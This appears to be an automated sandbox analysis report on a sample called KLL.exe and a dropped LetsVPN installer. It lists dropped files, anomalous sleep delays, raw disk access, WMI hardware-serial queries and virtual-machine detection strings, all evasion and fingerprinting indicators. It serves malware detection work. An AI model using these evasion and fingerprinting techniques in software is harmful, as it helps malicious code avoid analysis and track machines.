Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceProcess.ServiceController.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Parallel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.IsolatedStorage.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\uninst.exe	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebHeaderCollection.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tracing.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Pkcs.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Timer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Xml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.RegularExpressions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Duplex.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.DriveInfo.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.UnmanagedMemoryStream.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Queryable.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.VisualC.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlSerializer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TextWriterTraceListener.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\arm64\WebView2Loader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Security.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NameResolution.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Packaging.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.ResourceManager.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Overlapped.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.XDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Json.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Requests.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.StackTrace.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.SecureString.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlDocument.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NetworkInformation.dll	Jump to dropped file
Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\SET7911.tmp	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Security.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TraceSource.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.PerformanceCounter.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\driver\tap0901.sys	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Writer.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Http.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tools.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Numerics.Vectors.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.Client.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.ThreadPool.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ObjectModel.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\nsExec.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.ProtectedData.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Claims.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Dynamic.Runtime.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Algorithms.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\System.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll	Jump to dropped file
Source: C:\Windows\System32\drvinst.exe	Dropped PE file which has not been started: C:\Windows\System32\drivers\tap0901.sys (copy)	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Web.Services.Description.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.AccessControl.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Reader.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Management.Automation.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Windows.Interactivity.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Csp.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Formatters.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Extensions.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Xml.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x64\native\e_sqlite3.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dll	Jump to dropped file
Source: C:\ProgramData\letsvpn-latest.exe	Dropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.dll	Jump to dropped file

Source: C:\Users\user\Desktop\KLL.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-18562

Source: C:\Windows\System32\svchost.exe TID: 3252	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8108	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe TID: 1784	Thread sleep count: 5707 > 30	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe TID: 1784	Thread sleep time: -5707000s >= -30000s	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe TID: 4428	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe TID: 1784	Thread sleep count: 3992 > 30	Jump to behavior
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe TID: 1784	Thread sleep time: -3992000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5324	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5300	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 5952	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 6220	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 4308	Thread sleep time: -6300000s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7248	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7276	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7356	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7456	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7484	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7560	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BaseBoard
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BaseBoard
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select SerialNumber From Win32_BIOS
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BIOS
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BIOS
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BaseBoard
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT SerialNumber FROM Win32_BaseBoard

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystemProduct
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorID From Win32_processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select Manufacturer From Win32_Processor
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select ProcessorId From Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Last function: Thread delayed
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\letsvpn-latest.exe	File Volume queried: C:\Program Files (x86) FullSizeInformation
Source: C:\ProgramData\letsvpn-latest.exe	File Volume queried: C:\Program Files (x86) FullSizeInformation

Source: C:\Users\user\Desktop\KLL.exe	Code function: 0_2_0000000180027938 FindFirstFileExW,	0_2_0000000180027938
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6CEFE966 __EH_prolog3_GS,GetFullPathNameW,PathIsUNCW,GetVolumeInformationW,CharUpperW,FindFirstFileW,FindClose,_wcslen,	16_2_6CEFE966
Source: C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe	Code function: 16_2_6D1A6810 _Open_dir,FindFirstFileExW,_Read_dir,FindClose,	16_2_6D1A6810

Source: C:\Users\user\Desktop\KLL.exe

Code function: 0_2_00000001800073BC GetSystemInfo,GlobalMemoryStatusEx,

0_2_00000001800073BC

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 300000
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe	Thread delayed: delay time: 922337203685477

Source: setupapi.dev.log.31.dr	Binary or memory string: set: BIOS Vendor: VMware, Inc.
Source: setupapi.dev.log.31.dr	Binary or memory string: sig: Key = vmci.inf
Source: LetsPRO.exe, 00000034.00000002.4571403969.0000000031BD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service
Source: setupapi.dev.log.31.dr	Binary or memory string: inf: Service Name = vmci
